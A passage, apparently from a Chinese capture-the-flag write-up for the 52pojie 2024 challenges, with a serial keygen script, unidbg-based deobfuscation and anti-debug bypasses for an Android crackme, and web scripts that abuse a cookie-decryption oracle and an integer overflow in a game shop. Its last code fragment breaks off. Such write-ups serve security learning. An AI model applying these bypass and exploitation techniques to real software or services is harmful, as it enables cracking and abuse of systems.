DF FD 5D 76 31 BB 34 E8 15 33 C0 4C 24 1B 51 4F 6C 50 C9 BA 45 60 0F D5 45 A2 F7 D3 A5 D9 DA C6 F3 11 7E 94 C0 B8 25 81 DF 81 5B F0 FE B4 4D 2E 0A 09 DE 1E 39 B5 E0 DE E7 75 7C FD 57 DA A0 89 4B 47 1D 40 B4 7E 3A B2 F8 13 20 E2 4B 61 BB D1 A6 47 A9 B3 D2 5C 97 15 F5 B0 16 85 46 50 DD 2A A7 36 36 2F FE 39 45 F1 2D 39 47 CF 1A A1 CA 7F ED CF 2F F1 94 3B 83 27 85 40 A7 4A 59 2B D1 FB 2F 7F 88 B4 4A E3 20 62 8E 85 13 0C 03 B6 D0 88 9B E5 E4 7A AD AB C6 63 71 C9 A8 B9 37 82 5B D0 B5 35 7B 5A 83 E6 1F 89 BC F2 D9 F0 E9 F2 02 35 C0 D4 6F 62 CE 70 29 17 29 33 E1 4C BC 69 47 77 0A E6 81 D3 31 74 B3 6C 5E FE 1A 79 10 F5 67 69 A6 17 A4 74 12 B6 0D C8 9F 66 00 AB A7 BE 2E A2 D7 32 BC BB 3C 28 16 A2 5E A4 35 23 91 F6 7A 13 4A 72 9F C1 82 7D B9 4C 2D 41 EA 1F AF 30 FC 09 E6 B8 C9 8B 98 F4 90 9F 21 3D 9F E0 DA 89 5F 12 84 84 19 CF DE AB 0F 33 93 F5 C0 DC 93 F2 2F 82 A7 B8 5A 23 E9 AE 71 72 D4 60 E9 49 5A 94 F3 1F 7A 16 6C B6 C5 65 DC 21 F1 AE 26 10 17 63 85 3F AE 96 8C C8 0C D8 0F 86 2C 56 1E EE AF 9A D7 6E CB AE 63 45 98 47 24 91 06 27 02 DE 38 17 FD FA 5B E4 77 A3 25 22 42 66 78 67 B0 8B 2E 58 54 12 F0 B2 3E 12 6D 5C 6B 3E 30 F4 BA B7 CA BC 3D 69 51 46 D0 37 B4 2A 6E 1A BB 45 54 34 0C C9 65 04 EA 9C 39 3A CA B6 7D 94 88 C5 41 C0 87 3C 96 1F 4F 4B C7 4A B2 25 74 05 80 97 94 7C F2 EF B7 62 52 7F 58 51 75 28 4E 8D 18 38 76 70 F8 69 71 51 CD 91 70 F9 5C C7 85 3E BF 1A 13 FA BE 4A 78 EE C6 CD 36 96 BA 51 F6 90 F0 F4 90 48 BD AB 9D 1C 9E 15 2C 13 1E 36 AD A0 8D 27 54 86 B0 EE E3 8B 03 1F 6C B7 D2 79 17 F1 34 80 CB 50 21 2A 08 FD 7C E9 C0 0D 07 A2 60 7E 26 11 F3 DF D5 54 2A CD F8 3D 16 5D B6 2E 6C 32 2E')))

# enc test
"""
ori = bytes.fromhex('65f046ce94b5437a1e873878258d6781')
ans = b''
for t in range(0, 16, 8):
    v5, v7 = unpack('<II', ori[t:t+8])
    for v8 in cc[::-1]:
        v9 = v5 ^ v8
        v5 = v7 ^ ((dword_41F4D0[(v9 >> 24) & 0xff] + (dword_41F0D0[(v9 >> 16) & 0xff] ^ ((dword_41E8D0[v9 & 0xff] + dword_41ECD0[(v9 >> 8) & 0xff]) & 0xffffffff))) & 0xffffffff)
        v7 = v9
    v10 = v5 ^ dword_41F8D4
    v11 = v9 ^ dword_41F8D0
    ans += pack('<II', v11, v10)

print(ans)
"""

uid = int(input('uid: '))
shared = uid
# this logic also have anti-debug which can be bypass
shared = (shared * shared) & 0xffffffffffffffff
shared = (shared * uid) & 0xffffffffffffffff
shared ^= 0x323032796C6C6F73
ans = hex(shared)[2:].zfill(16).upper().encode()
print('shared:', hex(shared))
ans = ans.ljust(16, b'\x00')
ori = b''
for t in range(0, 16, 8):
    v11, v10 = unpack('<II', ans[t:t+8])
    v5 = v10 ^ dword_41F8D4
    v9 = v11 ^ dword_41F8D0
    for v8 in cc:
        v7 = v5 ^ ((dword_41F4D0[(v9 >> 24) & 0xff] + (dword_41F0D0[(v9 >> 16) & 0xff] ^ ((dword_41E8D0[v9 & 0xff] + dword_41ECD0[(v9 >> 8) & 0xff]) & 0xffffffff))) & 0xffffffff)
        v5 = v9 ^ v8
        v9 = v7
    ori += pack('<II', v5, v7)

print('serial:', '-'.join(hex(v)[2:].zfill(8) for v in unpack('<4I', ori)))

Android 高级题

jadx打开看到的逻辑为:传入补充前导0到8个字节的uid字符串的md5和一个不小于100字节的字符串到native函数checkSn,返回true即为成功。

因为感觉和去年的 Android 高级题差不多,所以看了下去年的题解,发现主要思路就是调用JNI_OnLoad得知校验函数地址后unidbg运行它,然后多打日志慢慢看。

打开unidbg发现里面还有没做完的去年的Android高级题,于是决定今年的这题得把它做出来QAQ。

去年的题解似乎更多是进行数据流分析+猜测,但个人更喜欢分析清楚控制流。

去混淆

概览

这题应用了朴素的 ollvm(控制流扁平化+虚假控制流)+间接调用/间接条件跳转(值得注意的是一些用于计算实际跳转地址的常量还可能会通过函数的第一个参数传递下去,下面我在这些函数的名字上标上 Internal)+字符串加密。

分析 ollvm 只要找到主分发器(或预处理器,即真实块的后继)的位置并在 unidbg 里打断点、执行到这里时打出当前状态变量(即分发器选择作为跳转目标的真实块所依据的寄存器)的值,基本就能手动连起来看了(因为这里到达真实块前的最后一次条件跳转几乎总是 状态变量!=进入主分发器时状态变量的值)。

而虚假控制流可以用新版 IDA 内置的 gooMBA(也可以将移植到 旧版 IDA 上)去除。也可以用 D-810 去除,但比较慢。

间接调用/间接条件跳转则把 IDA/hexrays 干懵了(以下内容找个 view microcode 的插件观察即可得知):

  1. 因为 hexrays F5 一开始就会划分基本块+得到控制流图,而这时间接跳转的目标地址还没被常量折叠出来(为了避免阻止自动常量折叠,需要将 .data section 改为只读)。由于这些基本块在控制流分析时就被丢掉了,因此即使手动确保把跳转目标块处于 IDA 识别的正确的函数中,hexrays 也会显示JUMPOUT。
  2. 而一部分 call 会显示为一个明显可以常量折叠的表达式,但 hexrays 在全局优化阶段才有条件折叠出这些值来(因为这些表达式中包含一个只在首个基本块里修改的变量,而其他基本块在局部优化阶段无从得知这个变量是固定的),而这时已经过了调用分析阶段了。

至于 ghidra/binja 表现的更差(binja 把 .data 标记为只读后 HLIL 一直在两种结果间切换显示,不知道发生了什么),也就不考虑了。

因为本菜鸡并不会让 hexrays 的这些分析阶段反复跑多遍,因此考虑用unidbg得到间接跳转/调用的目标,将相关代码直接 patch 成直接跳转和直接调用来使得 hexrays 恢复分析能力。

换言之整个流程就是:

  1. 运行 unidbg 记录跳转目标
  2. 根据记录 patch i64
  3. 阅读 hexrays 输出(结合主分发器处 unidbg 断点输出的日志;对于复杂内容可能需要对部分函数打断点打印入参和返回值)了解本次运行发生了什么
  4. 调整输入和补充unidbg代码使得程序能继续正常运行
  5. 回到1,直到分析出整个验证成功的路径
间接调用处理

由于整个程序没有虚表调用(除去调用JNI functions),因此可以patch几乎(除去JNI calls)所有BLR X*指令为BL [X*]指令。

我一开始是在整个 module 下进行 unicorn code hook,发现当前是 BLR 指令就标记一个变量,code hook 开始时发现该变量置位(也就跑下一条指令时),记录下跳转目标地址。这样的做法的问题是对于跳到 module 外的 CALL,记录的跳转目标是 PC+4(我一开始还把这个当假NOP了QAQ)。因此我将记录方式修改为了 BLR 指令运行时直接读取 X* 寄存器的值来得到跳转目标地址。

值得注意的是,对于外部调用,会使用一个被动态链接器重定位为(调用目标+常量)的值来算出(调用目标),而 unidbg 里对于这种重定位项的实现是错误的,需要修复:

diff --git a/unidbg-android/src/main/java/com/github/unidbg/linux/ModuleSymbol.java b/unidbg-android/src/main/java/com/github/unidbg/linux/ModuleSymbol.java
index 3bba96cf..b0402590 100644
--- a/unidbg-android/src/main/java/com/github/unidbg/linux/ModuleSymbol.java
+++ b/unidbg-android/src/main/java/com/github/unidbg/linux/ModuleSymbol.java
@@ -37,7 +37,7 @@ public class ModuleSymbol {
             LinuxModule module = (LinuxModule) m;
             Long symbolHook = module.hookMap.get(symbolName);
             if (symbolHook != null) {
-                return new ModuleSymbol(soName, WEAK_BASE, symbol, relocationAddr, module.name, symbolHook);
+                return new ModuleSymbol(soName, WEAK_BASE, symbol, relocationAddr, module.name, symbolHook + offset);
             }

             ElfSymbol elfSymbol = module.getELFSymbolByName(symbolName);
@@ -46,10 +46,10 @@ public class ModuleSymbol {
                     case ElfSymbol.BINDING_GLOBAL:
                     case ElfSymbol.BINDING_WEAK:
                         for (HookListener listener : listeners) {
-                            long hook = listener.hook(svcMemory, module.name, symbolName, module.base + elfSymbol.value + offset);
+                            long hook = listener.hook(svcMemory, module.name, symbolName, module.base + elfSymbol.value);
                             if (hook > 0) {
                                 module.hookMap.put(symbolName, hook);
-                                return new ModuleSymbol(soName, WEAK_BASE, elfSymbol, relocationAddr, module.name, hook);
+                                return new ModuleSymbol(soName, WEAK_BASE, elfSymbol, relocationAddr, module.name, hook + offset);
                             }
                         }

然后由于有些调用的目标不是模块内函数,我们需要知道的不是调用目标的地址,而是符号名(有点类似于Windows脱壳的导入表修复)。

虽然 unidbg 提供的 findClosestSymbolByAddress 函数可通过指针来反推符号,但并不支持对于createVirtualModule创建的用Java代码实现的虚拟Module以及用Loader::addHookListener添加的钩子拦截的符号解析,为了完成反推,需要增加相关功能:

diff --git a/unidbg-api/src/main/java/com/github/unidbg/spi/AbstractLoader.java b/unidbg-api/src/main/java/com/github/unidbg/spi/AbstractLoader.java
index 8dd3d0b8..c5513e3e 100644
--- a/unidbg-api/src/main/java/com/github/unidbg/spi/AbstractLoader.java
+++ b/unidbg-api/src/main/java/com/github/unidbg/spi/AbstractLoader.java
@@ -28,12 +28,7 @@ import java.io.IOException;
 import java.io.OutputStream;
 import java.nio.charset.StandardCharsets;
 import java.nio.file.Files;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.List;
-import java.util.Map;
-import java.util.TreeMap;
+import java.util.*;

 public abstract class AbstractLoader<T extends NewFileIO> implements Memory, Loader {

@@ -249,9 +244,21 @@ public abstract class AbstractLoader<T extends NewFileIO> implements Memory, Loa

     protected final List<HookListener> hookListeners = new ArrayList<>();

+    protected final Map<Long, HookedSymbol> hookedSymbolMap = new HashMap<>();
+
+    public final HookedSymbol findHookedSymbol(long address) {
+        return hookedSymbolMap.get(address);
+    }
+
     @Override
     public final void addHookListener(HookListener listener) {
-        hookListeners.add(listener);
+        hookListeners.add((svcMemory, libraryName, symbolName, old) -> {
+            long addr = listener.hook(svcMemory, libraryName, symbolName, old);
+            if (addr > 0) {
+                hookedSymbolMap.put(addr, new HookedSymbol(addr, libraryName, symbolName));
+            }
+            return addr;
+        });
     }

     protected LibraryResolver libraryResolver;
diff --git a/unidbg-api/src/main/java/com/github/unidbg/spi/HookedSymbol.java b/unidbg-api/src/main/java/com/github/unidbg/spi/HookedSymbol.java
index 2017dda2..0a657f20 100644
+++ b/unidbg-api/src/main/java/com/github/unidbg/spi/HookedSymbol.java
@@ -1,2 +1,25 @@
+package com.github.unidbg.spi;
+
+public class HookedSymbol {
+    private final long address;
+    private final String library;
+    private final String symbol;
+
+    public HookedSymbol(long address, String library, String symbol) {
+        this.address = address;
+        this.library = library;
+        this.symbol = symbol;
+    }
+
+    public long getAddress() {
+        return address;
+    }
+
+    public String getLibrary() {
+        return library;
+    }
+
+    public String getSymbol() {
+        return symbol;
+    }
+ }
diff --git a/unidbg-api/src/main/java/com/github/unidbg/spi/Loader.java b/unidbg-api/src/main/java/com/github/unidbg/spi/Loader.java
index af1b3b7b..36010f5c 100644
--- a/unidbg-api/src/main/java/com/github/unidbg/spi/Loader.java
+++ b/unidbg-api/src/main/java/com/github/unidbg/spi/Loader.java
@@ -38,6 +38,8 @@ public interface Loader {

     void addHookListener(HookListener listener);

+    HookedSymbol findHookedSymbol(long address);
+
     Collection<Module> getLoadedModules();

     String getMaxLengthLibraryName();
diff --git a/unidbg-android/src/main/java/com/github/unidbg/linux/LinuxModule.java b/unidbg-android/src/main/java/com/github/unidbg/linux/LinuxModule.java
index 1798821e..d804c582 100644
--- a/unidbg-android/src/main/java/com/github/unidbg/linux/LinuxModule.java
+++ b/unidbg-android/src/main/java/com/github/unidbg/linux/LinuxModule.java
@@ -73,6 +73,20 @@ public class LinuxModule extends Module {
                 }
             }
             @Override
+            public Symbol findClosestSymbolByAddress(long address, boolean fast) {
+                class Mutable {
+                    Symbol bestSymbol = null;
+                };
+                Mutable mutable = new Mutable();
+                symbols.forEach((name, value) -> {
+                    if (value.peer > address) return;
+                    if (mutable.bestSymbol == null || mutable.bestSymbol.getAddress() < value.peer) {
+                        mutable.bestSymbol = new VirtualSymbol(name, this, value.peer);
+                    }
+                });
+                return mutable.bestSymbol;
+            }
+            @Override
             public ElfSymbol getELFSymbolByName(String name) {
                 return null;
             }

然后我们就可以用类似下面的代码来得到每个调用目标的符号名(如果调用目标不是当前so的函数的话):

Module module2 = emulator.getMemory().findModuleByAddress(v.BLRTarget);
Symbol symbol = module2 == null ? null : module2.findClosestSymbolByAddress(v.BLRTarget, true);
String moduleName = module2 == null ? "(null)" : module2.name;
String symbolName = symbol == null ? "(null)" : symbol.getName();
long symbolAddr = symbol == null ? 0 : symbol.getAddress();
HookedSymbol hookedSymbol = memory.findHookedSymbol(v.BLRTarget);
if (hookedSymbol != null) {
    moduleName = hookedSymbol.getLibrary();
    symbolName = hookedSymbol.getSymbol();
    symbolAddr = hookedSymbol.getAddress();
}
// JNI func not covered here(since it is not required here)
System.out.printf("[0x%s, \"%s\", \"%s\", 0x%x]", Long.toHexString(v.ins.getAddress() - module.base), moduleName, symbolName, v.BLRTarget - symbolAddr);

这样下来仍然没有解析出的符号经验证全是 JNI calls。(完整 unidbg 记录代码见附件 Chunjie24Day7.java,完整 patch 代码见附件 patcher.py)

间接条件跳转处理

间接跳转不像间接调用那样反汇编出来是 BLR 就一定是混淆生成的,因此需要一定的手动模式匹配。

大部分条件间接跳转的核心语句是 CSEL X*, X*, X*, LT/EQ,然后是若干条不影响内存的 mov/add/orr/ldr 指令(但也有 stur),最后是一条 BR。

一开始我的做法是:一旦识别到符合条件的 CSEL 后我就会跟踪到 BR 的后一条指令,直到得知本次跳转的目标地址。

这样做还需要读取nzcv寄存器,来弄清楚此次跳转是在满足还是未满足条件的情况下进行的跳转(nzcv状态寄存器的值与条件码的对应关系见 NZCV寄存器简介 条件码简介)。

但这样直接错失了得到另一种状态下跳转目标的值的机会,因此最终我选择了这样做:

  1. 模式匹配上 csel 指令后,保存当前寄存器上下文
  2. 将nzcv寄存器置为条件不满足
  3. 标记testCase变量后继续执行直到BR的下一条指令(过程中遇到stur指令(会导致无法通过上下文恢复的内存修改)直接修改PC跳过,经测试,跳过是不影响结果的)
  4. 记录跳转目标,恢复上下文
  5. 将nzcv寄存器置为条件满足,再来一遍3和4
  6. 正常执行csel

因为上述流程是写在每条指令都会触发的 code hook 的回调里的,因此该流程要像状态机那样写。

对于 patch 而言值得注意的是:由于条件满足或不满足会跳转到不同位置,因此需要 patch 出两条不同的B.cond imm指令,而可供覆盖的 BR 指令只有一条。我的做法是 patch BR指令及其前一条指令(而 BR 指令前的指令除了一处外全是 add Xx, Xx, X*,是用来修改存储 BR Xx 的跳转目标寄存器 Xx 的;对于唯一的另外,手动交换那条指令与前面的 add 指令后 patch)。

完整 unidbg 记录代码见附件 Chunjie24Day7.java,完整 patch 代码见附件 patcher.py。

值得注意的是,unicorn 在调用 context_restore 恢复上下文的时候有个 bug:对PC的恢复并不会生效。

这是因为 unicorn 对 code hook 期间修改 PC 的支持是写在 reg_write 的 PC 分支的代码里的(见实现这一功能的 commit),因此我们需要在恢复上下文后显式设置 PC 一次:

backend.reg_write(Arm64Const.UC_ARM64_REG_PC, backend.reg_read(Arm64Const.UC_ARM64_REG_PC));
拼接 function chunks

由于间接跳转阻断了正常的控制流分析,导致 IDA 分析出来的函数由断断续续的 chunks 组成,而实际的函数是连续的一大段的代码,因此需要手工标识。

附件 patcher.py 的 link_chunks 函数是一个辅助函数,传入已经被识别成函数体的任意 chunks 的任意 ea,和该函数的实际末尾的 ea(不含该 ea;通常是 ret 后或 BL .__stack_chk_fail 后),即可自动把这一整段识别为一个函数。

性能优化

整个 so 库执行的过程中,MD5 .text 节和两次 modPow 都相当耗时且会执行大量代码,为此需要优化 unidbg 的执行速度。

我的做法是:对于指令反汇编等操作,每个 PC 只会执行一次并存在 Map 中;对于很久没有出现新指令的情况,不再继续跟踪跳转/调用(标记 usingBasicHook = true;因为显然是处在某些循环里跑了很多轮了,再跟踪意义不大),只做最简单的判断,直到出现新的指令。

同时,还会记下是执行到收集了多少条不同 PC 的指令后开始停止详细跟踪的,后面出现的新的指令的 PC 是什么并打印(见 breakable Map,此外还会记录到出现新指令为止共跑了多少条指令到 skipTo Map,使得记录当前一共执行了多少条指令的参考日志(用于判断函数/循环的“大小”)正常输出)。这些输出作为常量保存;在下一次运行的时候一旦达到符合条件的情况,就解除原有 code hook,在新的指令的 PC 处创建一个新的 code hook,该 hook 的内容是恢复原有 hook,这样虽然 qemu 仍然没法不被打断地执行指令(unicorn 的后端,qemu,可在这种情况下用 JIT 执行指令),但这中间不会出现 Java 代码,相关的检查是纯 C 的 unicorn 做的。(见附件 Chunjie24Day7.java 的 Hooks 类的成员变量的使用。)

字符串加密

这个比较简单,看到字符串加密函数就在 unidbg 里打断点看看返回什么:

long[] decodedFunc = new long[]{0x19398, 0x19C88, 0x18A1C, 0x1A314, 0x23BF4};
/*
18a1c(decoded string): /proc/self/maps
19398(decoded string): %*x-%*lx %*4s %*lx %*s %*s %s
19c88(decoded string): com.wuaipojie.crackme2024
1a314(decoded string): /base.apk
23bf4(decoded string): ([BLjava/lang/String;)Z
 */
for (long addr : decodedFunc) {
    debugger.addBreakPoint(module.base + addr, (emulator2, address) -> {
        debugger.addBreakPoint(emulator2.getContext().getLRPointer().peer, (emulator1, address1) -> {
            System.out.println(Long.toHexString(addr) + "(decoded string): " + emulator1.getContext().getPointerArg(0).getString(0));
            return true;
        });
        return true;
    });
}

而实际的字符串字面量解密过程就是 .rodata 里读两段连续的字节流,前面的长度与内容的字节流作为key,异或解密后面一段字节流作为字符串内容。

除此之外一些字符串字面量解密后会立即被随机生成的加密函数加密,然后等字符串要用的使用再解密出来,这个没什么意义。

反反调试

有一说一,第一个反调试极大的增强了我开始做时的信心,因为我发现验证逻辑跑了几万条指令就结束了,似乎非常简单(doge)

USB 调试检查

通过调用 __system_property_get 来取得 init.svc.adbd 这一属性,并判断是否是 running。

启用 adb 是很常见的操作,较少用于反调试(更坏心眼的是有提示用adb来输入长字符串),所以甚至 unidbg 的默认的 /dev/__properties__ 文件中这一属性的值也是 running。

为此,需要hook这个函数,把内容改成 stopped 或者别的什么。

内存读取

第一个十分耗时的函数容易通过一些 magic number 识别为 MD5 算法,而 hook 得知十分耗时的被 MD5 的内容就是 start 函数开始(或 plt 表结束后)到 .text 结束的内容。

这些内容只读且没有经过任何重定位修改,因此内容和直接从文件中读出来相同。

得益于 unicorn 的 code hook 不需要修改代码段内容来设置软断点,因此这一反调试可以无视。

apk 读取

随后的 MD5 会对一个32位整数进行,而在此之前还会读取 /proc/self/maps 来获得一些信息(根据 syscall 日志得知)。

通过 Java 调试容易发现 unidbg 模拟的 maps 信息里只有 so 库的地址;通过字符串解密可以得到 com.wuaipojie.crackme2024 base.apk 等内容,可以猜测是想找到对 apk 的内存映射段。

我们在 MapsFileIO.java 里添加追加自定义内存段信息的功能:

diff --git a/unidbg-android/src/main/java/com/github/unidbg/linux/file/MapsFileIO.java b/unidbg-android/src/main/java/com/github/unidbg/linux/file/MapsFileIO.java
index d3537724..18a8c74c 100644
--- a/unidbg-android/src/main/java/com/github/unidbg/linux/file/MapsFileIO.java
+++ b/unidbg-android/src/main/java/com/github/unidbg/linux/file/MapsFileIO.java
@@ -17,6 +17,12 @@ public class MapsFileIO extends ByteArrayFileIO implements FileIO {

     private static final Log log = LogFactory.getLog(MapsFileIO.class);

+    private static final StringBuilder appendLines = new StringBuilder();
+
+    public static void addLine(String line) {
+        appendLines.append(line).append('\n');
+    }
+
     public MapsFileIO(int oflags, String path, Collection<Module> modules) {
         super(oflags, path, getMapsData(modules, null));
     }
@@ -69,6 +75,7 @@ public class MapsFileIO extends ByteArrayFileIO implements FileIO {
         if (log.isDebugEnabled()) {
             log.debug("\n" + builder);
         }
+        builder.append(appendLines);

         return builder.toString().getBytes();
     }

并使用它:

MapsFileIO.addLine("12345660-12345670 aaaa 123 aa aa /data/app/~~HnABphG7Pe6-7EcBE4_uzg==/com.wuaipojie.crackme2024-KLWRM_cmdomPT0Z97Sa0ZQ==/base.apk");

然后根据 syscall 日志得知接下来会 open 这个 base.apk。因此需要把题目文件放到模拟文件系统的对应位置。

但似乎还是无法打开这个文件,调试 Java 发现是 new RandomAccessFile 时失败。

原因不详,但修改相应逻辑后可正常打开:

diff --git a/unidbg-android/src/main/java/com/github/unidbg/linux/file/SimpleFileIO.java b/unidbg-android/src/main/java/com/github/unidbg/linux/file/SimpleFileIO.java
index e4e1b4b9..8f3c8a8a 100644
--- a/unidbg-android/src/main/java/com/github/unidbg/linux/file/SimpleFileIO.java
+++ b/unidbg-android/src/main/java/com/github/unidbg/linux/file/SimpleFileIO.java
@@ -41,7 +41,7 @@ public class SimpleFileIO extends BaseAndroidFileIO implements NewFileIO {
                 if (!file.exists() && !file.createNewFile()) {
                     throw new IOException("createNewFile failed: " + file);
                 }
-                _randomAccessFile = new RandomAccessFile(file, "rws");
+                _randomAccessFile = new RandomAccessFile(file, !file.canWrite() ? "r" :"rws");
                 onFileOpened(_randomAccessFile);
             }
             return _randomAccessFile;

然后返回的32位数字就不是0或-1了。

这个逻辑和 genuine 读取 apk 的签名中的证书并计算 hash 来校验的逻辑类似。经过对比可知 unidbg 得到的32位值与 genuine 的那段逻辑得出的值相同,因此应该是正确的。(注意,bkdr hash 与手动 parser 用作安全校验用途是会有问题的,只能用于反调试用途。)

摄像头检查

通过调用 ACameraManager_getCameraIdList,检查返回的 numCameras 是否为 2,来判断是否是一台正常的手机设备。

为此,实现一个 VirtualModule 放到 unidbg-android/src/main/java/com/github/unidbg/virtualmodule/android/Camera2NdkModule.java 来实现此目的(内容见附件的 Camera2NdkModule.java)。

然后在主程序中启用:

new Camera2NdkModule(emulator, vm).register(memory);

解题

还原逻辑

通过使用的常量进行猜测并 hook 函数并打印入参与返回值验证可知:对 checkSn 传入的字符串的作第一个操作函数是 base64Decode(24290)。

随后是 USB 调试检查和一个很大的函数 decryptInternal(1E924)。

在里面进行内存读取和 apk 读取得到的值进行多次 md5 后的值被传入 initBigNum(2A5C8),除此之外还有两个常量也被传入了这个函数的另两次调用;随后是非常耗时的函数 modPow(37654) 的两次调用;后面又调用了 bigMul(30F4C),bigMod(36F00),bigNumOut(2AFE8)。

之所以确认这些函数和大整数有关并如此命名是因为题目提示解不唯一、验证字符串非常长等情况很明显是存在公钥验证算法才会发生的事情(而根据文本长度可以排除椭圆曲线,而 RSA 以外的算法又显得太过偏离“Android 高级题”的主题了),而验证算法里最耗时的显然会是 modPow 操作,根据 hook 函数打印的入参容易猜测谁是模数 n;而 bigMod 的传入参数里又有 n,因而猜测是 mod;剩下一个函数是乘法的可能非常高(除法需要 n,加法减法导致结果没有太好的性质);然后根据 initBigNum 的输入(猜测为大端序)和 bigNumOut 的输出验证发现确实如此。

bigNumOut 后会按 PKCSv1.5 规定的公钥操作(BT=2)进行校验并取出解密结果作为 decryptInternal 的返回值。

最后是回到 checkSn 对 decryptInternal 返回值进行一次按字节加密后与传入的另一参数(uid 的 md5 结果)进行比较。

完整逻辑的 python 版本见附件 final.py 的 verify_logic。

crypto

按字节加密容易进行逆向,因此最终问题是求以下方程的 c。

c^{d1}c^{d2}\equiv m\pmod n

其中 d1 d2 n 已知,m的部分字节内容可随意,其余部分内容已知。

$d=d1+d2$,有 $c^d\equiv m\pmod n$,是典型的私钥解密操作。

但实际上,能让攻击者知道的是公钥与公钥验签操作,把这里的 d 看作 e,容易发现这时BT应当为00或01。如果 d(被看作 e 的数字)很小,那么可以进行 Bleichenbacher's attack,但这里 d 很大。

实际上,这个验证逻辑除了允许填充非 FF 的非 0 值外,还允许解密后消息是以 uid 的 MD5 为前缀的任意消息。虽然这减少的攻击工作量在密码学上有意义,但实际上没用。

随后我又猜测 e(被看作 d)毕竟是 e,应该很小,但从1爆破到0x10001没有结果。

然后就只能猜测像 Android 中级题那样,某个奇怪的地方藏着公钥。但整个so、apk都给我翻了个底朝天后我仍然一无所获 QAQ(这就是为什么有人会分析字符串解密的过程)。

而最后提示直接提供了 e=0x200001,那么整个题目就被很容易地做完了(代码见 final.py 末尾)。

回过头来看如何得到 e:

对于已知 d(可看作 e)求小 e(可看作 d)可采用 Boneh-Durfee Attack 这样的小私钥指数攻击,这远比爆破来得快。但出题人的 phi 实际上并不是 $\phi(n)=(p-1)(q-1)$ 而是 $\lambda(n)=lcm(p-1,q-1)$ 因此直接用 Boneh-Durfee Attack 是没法得出结果的(这个攻击是基于 $ed=k\phi(n)+1$ 来进行的),需要先猜一下 $gcd(p-1,q-1)$ 的值(实际上是2),这样才能得到 e。

相关代码见 final.py 的 get_e 函数。

但我认为“猜”到 e d 不是模 $\phi(n)$ 而是 $\lambda(n)$ 的逆元这点是不太现实的,尤其是 Boneh-Durfee Attack 可能需要调参。希望有大佬能为我解惑——有无除继续爆破e以外的、不需要通过“猜”得出 e 的方法,或 practical 的签名伪造方案QAQ。

Web 题

(初级题反而是最后出的QAQ,毕竟后面的题目熟悉 js 就行,初级题要观察和猜测。

flag1

视频开头的波浪效果,慢放并多看几次即可。flag1{52pj2024}

flag2

访问 https://2024challenge.52pojie.cn/ (URL 通过去年网址猜测,或者通过拼接二维码得到)

发现302响应的报头中包含 X-Flag2: flag2{xHOpRP}

flag3

视频开头噪声中变动的部分,慢放并多看几次即可。flag3{GRsgk2}

flag4/flag10

打开 https://2024challenge.52pojie.cn/flag4_flag10.png 即看到 flag4{YvJZNS}

用 Stegsolve.jar inversion color 后看到 flag10{6BxMkW}

flagA

登录时返回cookie中有flagA字段(该字段是加密的,但可猜测其解密方法同Cookie中的uid字段,因此把加密的uid内容改成加密的flagA内容后进行请求,可获得解密的uid(可以预见解密未作校验))

async function main(uid_value) {
    let resp = await fetch("https://2024challenge.52pojie.cn/auth/login", {
        "headers": {
            "content-type": "application/x-www-form-urlencoded"
        },
        "body": "uid=" + uid_value,
        "method": "POST",
        "redirect": "manual",
    });
    let ret = resp.headers.getSetCookie().filter(v => v.startsWith('flagA='))[0].split(';')[0].slice(6);
    let resp2 = await fetch("https://2024challenge.52pojie.cn/auth/uid", {
        "method": "GET",
        "headers": {
            "cookie": `uid=${ret}`
        }
    });
    console.log(await resp2.text());
}
main(691872);

此处加密和后面的2048小游戏相同,但由于登录接口只给数字加密,因此没法直接完成小游戏。

flag5/flag9

复制网页源码隐藏内容中的字符到编辑器,去掉其中的特殊字符,得到 flag5{P3prqF}。

对整个隐藏内容进行适当换行,看到字符画 flag9{KHTALK}。

flag6

查看网页源码知:flag 内容为数字,且 md5 为 1c450bbafad15ad87c32831fa1a616fc。

cmd5 反查 MD5 知:flag 为 flag6{20240217}。

flag7

视频末尾提到了github仓库,找到其历史commit的内容:flag7{Djl9NQ}

flag8/flagB

https://2024challenge.52pojie.cn/flagB/index.html 为 2048 小游戏。

玩一会后v他50得到提示为溢出,尝试溢出 $2^{32}$ 未果,因此尝试溢出 $2^{64}$,发现要求金额必须减少而不是增加。

把这些要求输入 z3 即可得到合适的购买数量:

from z3 import *
v = BitVec('a', 64)
s=Solver()
s.add(v>0)
s.add(999063388*v<570)
s.add(570-999063388 * v < 570)
s.check()
print(s.model())

其中 flag8 为 flag8{OaOjIK}。

flag8 由于数量较少,可以多次手玩,也可以使用 网上的简单 AI 自动玩。

自动获取这部分 flag 的代码见下(2048ai.js 及其依赖 session_fetcher.mjs 见附件,是对 https://github.com/aj-r/2048-AI 内容进行适当包装所得)

const { runAI } = require('./2048ai');

async function main(uid_value) {
    let resp = await fetch("https://2024challenge.52pojie.cn/auth/login", {
        "headers": {
            "content-type": "application/x-www-form-urlencoded"
        },
        "body": "uid=" + uid_value,
        "method": "POST",
        "redirect": "manual",
    });
    let uid = resp.headers.getSetCookie().filter(v => v.startsWith('uid='))[0].split(';')[0].slice(4);
    async function buyItem(item, cnt, result) {
        const session = await runAI(uid, money => money >= 10, 0);
        let resp = await session.fetch('/flagB/buy_item', {method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: `shop_item_id=${encodeURIComponent(item)}&buy_count=${encodeURIComponent(cnt)}`});
        console.log(await resp.json());
        resp = await session.fetch('/flagB/use_item', {method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: `item_id=${encodeURIComponent(item)}`});
        console.log(result + ':', await resp.json());
    }
    /* calc way:
from z3 import *
v = BitVec('a', 64)
s=Solver()
s.add(v>0)
s.add(10000*v<20)
s.add(10000*v>0)
s.check()
print(s.model())
    */
    await buyItem('4', '182622766329724561', '8');
    /* calc way:
from z3 import *
v = BitVec('a', 64)
s=Solver()
s.add(v>0)
s.add(999063388*v<10)
s.add(999063388*v>0)
s.check()
print(s.model())
    */
    await buyItem('5', '3952873735356057550', 'B');
}

main(691872);

flag11

css 里要求填入两个数字,且搜索空间很小。

注意到算出来的每个贴图的x/y坐标不一定是整数,但两个图片的坐标之差应当是30的倍数;可基于这点搜索可行解。

def isok(t):
    u = 30
    t = t % u
    return min(t, u-t) < 0.001

for i in range(100):
    for j in range(100):
        x1 = 942.5135817416999 + 1.0215884355337748 * i + 0.24768196677010001 * j
        y1 = 224.16483995058888 + 2.9293942195858147 * i + 0.8924085229409133 * j
        x2 = 68.82766156747003 + 7.845383167787458 * i + 3.2075066759810236 * j
